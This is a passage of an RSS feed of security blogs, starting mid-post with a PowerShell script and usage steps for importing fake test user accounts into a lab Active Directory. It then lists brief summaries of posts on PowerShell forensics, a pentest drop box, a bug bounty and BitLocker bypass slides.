</span></span><span><span>[</span></span><span><span>Alias</span></span><span><span>(</span></span><span><span>'OU'</span></span><span><span>)</span></span><span><span>]</span></span></p><p><span><span>        </span></span><span><span>$OrganizationalUnit</span></span></p><p><span><span>    )</span></span></p><p><span><span>    </span></span></p><p><span><span>    </span></span><span><span>begin</span></span><span><span> {</span></span></p><p><span><span>        </span></span></p><p><span><span>    }</span></span></p><p><span><span>    </span></span></p><p><span><span>    </span></span><span><span>process</span></span><span><span> {</span></span></p><p><span><span>        </span></span><span><span>Import-Module</span></span><span><span> </span></span><span><span>ActiveDirectory</span></span></p><p><span><span>        </span></span><span><span>if</span></span><span><span> (</span></span><span><span>-not</span></span><span><span> (</span></span><span><span>Get-Module</span></span><span><span> </span></span><span><span>-Name</span></span><span><span> </span></span><span><span>'ActiveDirectory'</span></span><span><span>)) {</span></span></p><p><span><span>            </span></span><span><span>return</span></span></p><p><span><span>        }</span></span></p><p><span><span>        </span></span><span><span>$DomDN</span></span><span><span> </span></span><span><span>=</span></span><span><span> (</span></span><span><span>Get-ADDomain</span></span><span><span>)</span></span><span><span>.</span></span><span><span>DistinguishedName</span></span></p><p><span><span>        </span></span><span><span>$forest</span></span><span><span> </span></span><span><span>=</span></span><span><span> (</span></span><span><span>Get-ADDomain</span></span><span><span>)</span></span><span><span>.</span></span><span><span>Forest</span></span></p><p><span><span>        </span></span><span><span>$ou</span></span><span><span> </span></span><span><span>=</span></span><span><span> </span></span><span><span>Get-ADOrganizationalUnit</span></span><span><span> </span></span><span><span>-Filter</span></span><span><span> </span></span><span><span>"name -eq '</span></span><span><span>$(</span></span><span><span>$OrganizationalUnit</span></span><span><span>)</span></span><span><span>'"</span></span></p><p><span><span>        </span></span><span><span>if</span></span><span><span>(</span></span><span><span>$ou</span></span><span><span> </span></span><span><span>-eq</span></span><span><span> </span></span><span><span>$null</span></span><span><span>) {</span></span></p><p><span><span>            </span></span><span><span>New-ADOrganizationalUnit</span></span><span><span> </span></span><span><span>-Name</span></span><span><span> </span></span><span><span>"</span></span><span><span>$(</span></span><span><span>$OrganizationalUnit</span></span><span><span>)</span></span><span><span>"</span></span><span><span> </span></span><span><span>-Path</span></span><span><span> </span></span><span><span>$DomDN</span></span></p><p><span><span>            </span></span><span><span>$ou</span></span><span><span> </span></span><span><span>=</span></span><span><span> </span></span><span><span>Get-ADOrganizationalUnit</span></span><span><span> </span></span><span><span>-Filter</span></span><span><span> </span></span><span><span>"name -eq '</span></span><span><span>$(</span></span><span><span>$OrganizationalUnit</span></span><span><span>)</span></span><span><span>'"</span></span></p><p><span><span>        }</span></span></p><p><span><span>        </span></span><span><span>$data</span></span><span><span> </span></span><span><span>=</span></span><span><span> </span></span></p><p></p><p><span><span>        </span></span><span><span>Import-Csv</span></span><span><span> </span></span><span><span>-Path</span></span><span><span> </span></span><span><span>$Path</span></span><span><span> </span></span><span><span>|</span></span><span><span> </span></span><span><span>select</span></span><span><span>  @{Name</span></span><span><span>=</span></span><span><span>"Name"</span></span><span><span>;Expression</span></span><span><span>=</span></span><span><span>{</span></span><span><span>$_</span></span><span><span>.</span></span><span><span>Surname </span></span><span><span>+</span></span><span><span> </span></span><span><span>", "</span></span><span><span> </span></span><span><span>+</span></span><span><span> </span></span><span><span>$_</span></span><span><span>.</span></span><span><span>GivenName}}</span></span><span><span>,</span></span></p><p><span><span>                @{Name</span></span><span><span>=</span></span><span><span>"SamAccountName"</span></span><span><span>; Expression</span></span><span><span>=</span></span><span><span>{</span></span><span><span>$_</span></span><span><span>.</span></span><span><span>Username}}</span></span><span><span>,</span></span></p><p><span><span>                @{Name</span></span><span><span>=</span></span><span><span>"UserPrincipalName"</span></span><span><span>; Expression</span></span><span><span>=</span></span><span><span>{</span></span><span><span>$_</span></span><span><span>.</span></span><span><span>Username </span></span><span><span>+</span></span><span><span>"@"</span></span><span><span> </span></span><span><span>+</span></span><span><span> </span></span><span><span>$forest</span></span><span><span>}}</span></span><span><span>,</span></span></p><p><span><span>                @{Name</span></span><span><span>=</span></span><span><span>"GivenName"</span></span><span><span>; Expression</span></span><span><span>=</span></span><span><span>{</span></span><span><span>$_</span></span><span><span>.</span></span><span><span>GivenName}}</span></span><span><span>,</span></span></p><p><span><span>                @{Name</span></span><span><span>=</span></span><span><span>"Surname"</span></span><span><span>; Expression</span></span><span><span>=</span></span><span><span>{</span></span><span><span>$_</span></span><span><span>.</span></span><span><span>Surname}}</span></span><span><span>,</span></span></p><p><span><span>                @{Name</span></span><span><span>=</span></span><span><span>"DisplayName"</span></span><span><span>; Expression</span></span><span><span>=</span></span><span><span>{</span></span><span><span>$_</span></span><span><span>.</span></span><span><span>Surname </span></span><span><span>+</span></span><span><span> </span></span><span><span>", "</span></span><span><span> </span></span><span><span>+</span></span><span><span> </span></span><span><span>$_</span></span><span><span>.</span></span><span><span>GivenName}}</span></span><span><span>,</span></span></p><p><span><span>                @{Name</span></span><span><span>=</span></span><span><span>"City"</span></span><span><span>; Expression</span></span><span><span>=</span></span><span><span>{</span></span><span><span>$_</span></span><span><span>.</span></span><span><span>City}}</span></span><span><span>,</span></span></p><p><span><span>                @{Name</span></span><span><span>=</span></span><span><span>"StreetAddress"</span></span><span><span>; Expression</span></span><span><span>=</span></span><span><span>{</span></span><span><span>$_</span></span><span><span>.</span></span><span><span>StreetAddress}}</span></span><span><span>,</span></span></p><p><span><span>                @{Name</span></span><span><span>=</span></span><span><span>"State"</span></span><span><span>; Expression</span></span><span><span>=</span></span><span><span>{</span></span><span><span>$_</span></span><span><span>.</span></span><span><span>State}}</span></span><span><span>,</span></span></p><p><span><span>                @{Name</span></span><span><span>=</span></span><span><span>"Country"</span></span><span><span>; Expression</span></span><span><span>=</span></span><span><span>{</span></span><span><span>$_</span></span><span><span>.</span></span><span><span>Country}}</span></span><span><span>,</span></span></p><p><span><span>                @{Name</span></span><span><span>=</span></span><span><span>"PostalCode"</span></span><span><span>; Expression</span></span><span><span>=</span></span><span><span>{</span></span><span><span>$_</span></span><span><span>.</span></span><span><span>ZipCode}}</span></span><span><span>,</span></span></p><p><span><span>                @{Name</span></span><span><span>=</span></span><span><span>"EmailAddress"</span></span><span><span>; Expression</span></span><span><span>=</span></span><span><span>{</span></span><span><span>$_</span></span><span><span>.</span></span><span><span>Username </span></span><span><span>+</span></span><span><span>"@"</span></span><span><span> </span></span><span><span>+</span></span><span><span> </span></span><span><span>$forest</span></span><span><span>}}</span></span><span><span>,</span></span></p><p><span><span>                @{Name</span></span><span><span>=</span></span><span><span>"AccountPassword"</span></span><span><span>; Expression</span></span><span><span>=</span></span><span><span>{ (</span></span><span><span>Convertto-SecureString</span></span><span><span> </span></span><span><span>-Force</span></span><span><span> </span></span><span><span>-AsPlainText</span></span><span><span> </span></span><span><span>$_</span></span><span><span>.</span></span><span><span>password)}}</span></span><span><span>,</span></span></p><p><span><span>                @{Name</span></span><span><span>=</span></span><span><span>"OfficePhone"</span></span><span><span>; Expression</span></span><span><span>=</span></span><span><span>{</span></span><span><span>$_</span></span><span><span>.</span></span><span><span>TelephoneNumber}}</span></span><span><span>,</span></span></p><p><span><span>                @{Name</span></span><span><span>=</span></span><span><span>"Title"</span></span><span><span>; Expression</span></span><span><span>=</span></span><span><span>{</span></span><span><span>$_</span></span><span><span>.</span></span><span><span>Occupation}}</span></span><span><span>,</span></span></p><p><span><span>                @{Name</span></span><span><span>=</span></span><span><span>"Enabled"</span></span><span><span>; Expression</span></span><span><span>=</span></span><span><span>{</span></span><span><span>$true</span></span><span><span>}}</span></span><span><span>,</span></span></p><p><span><span>                @{Name</span></span><span><span>=</span></span><span><span>"PasswordNeverExpires"</span></span><span><span>; Expression</span></span><span><span>=</span></span><span><span>{</span></span><span><span>$true</span></span><span><span>}} </span></span><span><span>|</span></span><span><span> </span></span><span><span>ForEach-Object</span></span><span><span> </span></span><span><span>-Process</span></span><span><span> {</span></span></p><p><span><span>             </span></span></p><p><span><span>                    </span></span><span><span>$subou</span></span><span><span> </span></span><span><span>=</span></span><span><span> </span></span><span><span>Get-ADOrganizationalUnit</span></span><span><span> </span></span><span><span>-Filter</span></span><span><span> </span></span><span><span>"name -eq ""</span></span><span><span>$(</span></span><span><span>$_</span></span><span><span>.</span></span><span><span>Country)</span></span><span><span>"""</span></span><span><span> </span></span><span><span>-SearchBase</span></span><span><span> </span></span><span><span>$ou</span></span><span><span>.</span></span><span><span>DistinguishedName        </span></span></p><p><span><span>                    </span></span><span><span>if</span></span><span><span>(</span></span><span><span>$subou</span></span><span><span> </span></span><span><span>-eq</span></span><span><span> </span></span><span><span>$null</span></span><span><span>) {</span></span></p><p><span><span>                        </span></span><span><span>New-ADOrganizationalUnit</span></span><span><span> </span></span><span><span>-Name</span></span><span><span> </span></span><span><span>$_</span></span><span><span>.</span></span><span><span>Country </span></span><span><span>-Path</span></span><span><span> </span></span><span><span>$ou</span></span><span><span>.</span></span><span><span>DistinguishedName</span></span></p><p><span><span>                        </span></span><span><span>$subou</span></span><span><span> </span></span><span><span>=</span></span><span><span> </span></span><span><span>Get-ADOrganizationalUnit</span></span><span><span> </span></span><span><span>-Filter</span></span><span><span> </span></span><span><span>"name -eq ""</span></span><span><span>$(</span></span><span><span>$_</span></span><span><span>.</span></span><span><span>Country)</span></span><span><span>"""</span></span><span><span> </span></span><span><span>-SearchBase</span></span><span><span> </span></span><span><span>$ou</span></span><span><span>.</span></span><span><span>DistinguishedName        </span></span></p><p><span><span>                    }</span></span></p><p><span><span>                    </span></span><span><span>$_</span></span><span><span> </span></span><span><span>|</span></span><span><span> </span></span><span><span>Select</span></span><span><span> @{Name</span></span><span><span>=</span></span><span><span>"Path"</span></span><span><span>; Expression</span></span><span><span>=</span></span><span><span>{</span></span><span><span>$subou</span></span><span><span>.</span></span><span><span>DistinguishedName}}</span></span><span><span>,</span></span><span><span>*</span></span><span><span> </span></span><span><span>|</span></span><span><span> </span></span><span><span>New-ADUser</span></span><span><span>  </span></span></p><p><span><span>                }</span></span></p><p><span><span>    }    </span></span></p><p><span><span>    </span></span><span><span>end</span></span><span><span> {}</span></span></p><p><span><span>} </span></span></p><hr><p>The PS1 file with the functions can be found in my GitHub account <a href="https://github.com/darkoperator/powershell_scripts/blob/master/LabAccountImport.ps1">https://github.com/darkoperator/powershell_scripts/blob/master/LabAccountImport.ps1</a> once you download a copy of it you only need to dot source the file on a PowerShell session on the Windows 2012 R2 domain controller where you want to import the accounts:</p><pre>PS C:\&gt; . .\LabAccountImport.ps1</pre><p>Now the functions will be available for you to use in the interactive session. We start by testing the file we got via email to make sure it has all the fields we want and that no mistakes where done when ordering the names:</p><pre>PS C:\&gt; Test-LabADUserList -Path .\FakeNameGenerator.com_b58aa6a5.csv 
True</pre><p>Now we create a new CSV file with unique usernames:</p><pre>PS C:\&gt; Remove-LabADUsertDuplicate -Path .\FakeNameGenerator.com_b58aa6a5.csv -OutPath .\UniqueUY.csv</pre><p>Once we have the accounts with unique usernames we can import de file in to Active Directory:</p><pre>PS C:\&gt; Import-LabADUser -Path .\UniqueUY.csv -OrganizationalUnit DemoUsers</pre><p>Once it finishes you should now have a nice set of test accounts in AD for you to use. </p>  
 
   
     
     
       
         
           
            <img src="https://static1.squarespace.com/static/52ad1d91e4b00a98a27ba20e/t/57a3ecbbb3db2b45252dd996/1470360773222/?format=1000w" alt="?format=1000w"><p>Of the 3,000 accounts only 2,182 where unique when it came to username, still a very good number for testing. In the future I will probably make it so when it finds accounts with repeated usernames, Surnames or LastNames to add a random string to each. </p><p>As Always I hope you find the information useful. </p>]]></description>
<pubDate>Fri, 26 Aug 2016 23:20:29 +0000</pubDate>
<dc:creator>Carlos Perez</dc:creator>
<source url="https://www.darkoperator.com/">Shell is Only the Beginning</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e7fa7728fd5</guid>
</item>
<item>
<title>Forensics Quickie: PowerShell Versions and the Registry</title>
<link>http://www.4n6k.com/2016/08/forensics-quickie-powershell-versions.html</link>
<description><![CDATA[FORENSICS QUICKIES! These posts will consist of small tidbits of useful information that can be explained very succinctly. 
 
I was chatting with Jared Atkinson and James Habben about PowerShell today and a question emerged from the discussion: is there way to determine the version of PowerShell installed on a given machine without using the $PSVersionTable PowerShell command? We all agreed that it]]></description>
<pubDate>Sun, 21 Aug 2016 05:00:10 +0000</pubDate>
<dc:creator>4n6k</dc:creator>
<source url="https://www.4n6k.com/">4n6k</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e7f99686c23</guid>
</item>
<item>
<title>How to Build Your Own Penetration Testing Drop Box</title>
<link>http://www.blackhillsinfosec.com/?p=5156</link>
<description><![CDATA[<p><img src="http://lh5.googleusercontent.com/xdtwKW--ptbAynRQhg0wolro8GgRmYUOz--cVuCYGEhu9w2oYB5lTvKApO-moln1drQeSK9CYrTTCZ-0wUZKOGv4fuF6PVxMBzPM9TMNHbPuytJOHXRgKz2kHZWY50Uw4gvMN6nk" alt="xdtwKW--ptbAynRQhg0wolro8GgRmYUOz--cVuCY"></p>Beau Bullock // TL;DR I compared three single-board computers (SBC) against each other with a specific goal of finding which one would serve best as a “penetration testing drop box”, and maintain an overall price of around $110. Spoiler Alert: At the time I tested these Hardkernel’s ODROID-C2 absolutely destroyed the competition in this space. If […]]]></description>
<pubDate>Sun, 21 Aug 2016 04:55:12 +0000</pubDate>
<dc:creator>BHIS</dc:creator>
<source url="https://www.blackhillsinfosec.com/">Black Hills Information Security</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e7fa0997fb2</guid>
</item>
<item>
<title>How I Could Steal Money from Instagram, Google and Microsoft</title>
<link>https://www.arneswinnen.net/2016/07/how-i-could-steal-money-from-instagram-google-and-microsoft/</link>
<description><![CDATA[<p><img title="1" src="https://www.arneswinnen.net/wp-content/uploads/2016/02/1.png" alt="1.png"></p>TL;DR: Instagram ($2000), Google ($0) and Microsoft ($500) were vulnerable to direct money theft via premium phone number calls. They all offer services to supply users with a token via a computer-voiced phone call, but neglected to properly verify whether… <a href="https://www.arneswinnen.net/2016/07/how-i-could-steal-money-from-instagram-google-and-microsoft/">Continue Reading <span>→</span></a>]]></description>
<pubDate>Sun, 17 Jul 2016 05:09:03 +0000</pubDate>
<enclosure length="1337" type="audio/mpeg" url="https://www.arneswinnen.net/wp-content/uploads/2016/02/Instagram_Call.mp3"></enclosure>
<dc:creator>Arne</dc:creator>
<source url="https://www.arneswinnen.net/">Arne Swinnen's Security Blog</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e7faac53475</guid>
</item>
<item>
<title>SLIDES: From zero to SYSTEM of full disk encrypted Windows system (Hack In Paris 2016)</title>
<link>http://blog.ahmednabeel.com/slides-hip16-from-zero-to-system-of-full-disk-encrypted-windows/</link>
<description><![CDATA[<h2>Intro</h2> 
 
<p>On the 30th of June, <a href="https://twitter.com/tgilis">Tom</a> and I gave a presentation at Hack In Paris about the vulnerabilities we discovered and which could be abused to bypass BitLocker FDE. <br> 
These slides were used during the presentation a video of the presentation will be released soon and I will update this post when that happens. :)</p> 
 
<p><iframe allowfullscreen="allowfullscreen" src="//www.slideshare.net/slideshow/embed_code/key/pRiu6l1TJx0p4g" width="100%" height="485" frameborder="0" style="border:1px solid #CCC;border-width:1px;margin-bottom:5px;"> </iframe> </p><div style="margin-bottom:5px;"></div>]]></description>
<pubDate>Sun, 10 Jul 2016 03:27:22 +0000</pubDate>
<dc:creator>Nabeel Ahmed</dc:creator>
<source url="https://blog.ahmednabeel.com/">got 0day?</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e7fb17600d9</guid>
</item>
</channel>
</rss>